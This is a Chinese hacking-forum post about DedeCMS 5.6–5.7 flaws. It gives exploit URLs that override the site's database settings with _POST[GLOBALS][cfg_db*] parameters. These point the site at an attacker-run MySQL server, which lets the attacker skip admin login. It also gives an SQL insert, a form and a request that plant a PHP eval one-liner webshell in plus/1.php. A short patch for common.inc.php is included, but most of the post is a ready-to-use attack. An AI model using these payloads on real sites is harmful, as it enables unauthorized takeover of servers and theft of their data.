黑帽联盟

 找回密码
 会员注册
查看: 1552|回复: 0
打印 上一主题 下一主题

[系统安全] DEDECMS 爆严重安全漏洞 免账号密码直接进入后台

[复制链接]
yun 黑帽联盟官方人员 

920

主题

37

听众

1364

积分

超级版主

Rank: 8Rank: 8

  • TA的每日心情
    奋斗
    2019-10-18 11:20
  • 签到天数: 678 天

    [LV.9]以坛为家II

    对于以下技术文章,只做参考

    入侵步骤如下:http://www.xx.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
    把上面validate后面的字母改为当前的验证码,即可直接进入网站后台。

    分析了一下,此漏洞的前提是必须得到后台路径才能实现,因此大家一定要养成使用DEDECM建站时改后台名字的习惯。下面给出官方的解决办法:

    解决办法:
    找到include/common.inc.php文件,把
    foreach($_REQUEST as $_k=>$_v)
    {
    var_dump($_k);
    if( strlen($_k)>0 && preg_match('#^(cfg_|GLOBALS)#',$_k) ):
    {
    exit('Request var not allow!');
    }
    }
    换成

    //检查和注册外部提交的变量
    function CheckRequest(&$val) {
    if (is_array($val)) {
    foreach ($val as $_k=>$_v) {
    CheckRequest($_k);
    CheckRequest($val[$_k]);
    }
    } else
    {
    if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) )
    {
    exit('Request var not allow!');
    }
    }
    }
    CheckRequest($_REQUEST);
    网传的都是说要知道后台才能利用,但不用,只要 plus 目录存在,服务器能外连,就能拿shell

    前题条件,必须准备好自己的dede数据库,然后插入数据:
    insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'\');echo "OK";@fclose($fp);{/dede:php}');

    再用下面表单提交,shell 就在同目录下 1.php。原理自己研究。。。
    <form action="" method="post" name="QuickSearch" id="QuickSearch">
    <input type="text" value="http://localhost:8080/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
    <input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
    <input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
    <input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
    <input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
    <input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
    <input type="text" value="true" name="nocache" style="width:400">
    <input type="submit" value="提交" name="QuickSearchBtn"><br />
    </form>
    <script>
    function addaction()
    {
    document.QuickSearch.action=document.QuickSearch.doaction.value;
    }
    </script>
    ====================================================
    DedeCms v5.6-5.7 0day
    其实除过windows系统,很多服务提供商是不让php连接外部mysql服务器的。

    用PHPNow在本地搭建DEDECMS运行环境并安装DEDECMS,这里以DedeCMSV57_UTF8为例。

    直接进后台:

    dede/login.php?dopost=login&validate=8235&userid=admin&pwd=admin&_POST[GLOBALS][cfg_dbhost]=192.168.1.1&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=123456&_POST[GLOBALS][cfg_dbname]=dedecmsv57utf8&_POST[GLOBALS][cfg_dbprefix]=dede_

    直接获得web:

    进入自己在本地搭建的dede数据库,然后插入数据:

    insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'<?php eval($_POST[c]) ?>\');echo "OK";@fclose($fp);{/dede:php}');

    在地址栏提交以下语句即可获得一句话木马plus/1.php:

    plus/mytag_js.php?aid=1&_POST[GLOBALS][cfg_dbhost]=192.168.1.1&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=123456&_POST[GLOBALS][cfg_dbname]=dedecmsv57utf8&_POST[GLOBALS][cfg_dbprefix]=dede_&nocache=true
    帖子永久地址: 

    黑帽联盟 - 论坛版权1、本主题所有言论和图片纯属会员个人意见,与本论坛立场无关
    2、本站所有主题由该帖子作者发表,该帖子作者与黑帽联盟享有帖子相关版权
    3、其他单位或个人使用、转载或引用本文时必须同时征得该帖子作者和黑帽联盟的同意
    4、帖子作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
    5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
    6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
    7、黑帽联盟管理员和版主有权不事先通知发贴者而删除本文

    您需要登录后才可以回帖 登录 | 会员注册

    发布主题 !fastreply! 收藏帖子 返回列表 搜索
    回顶部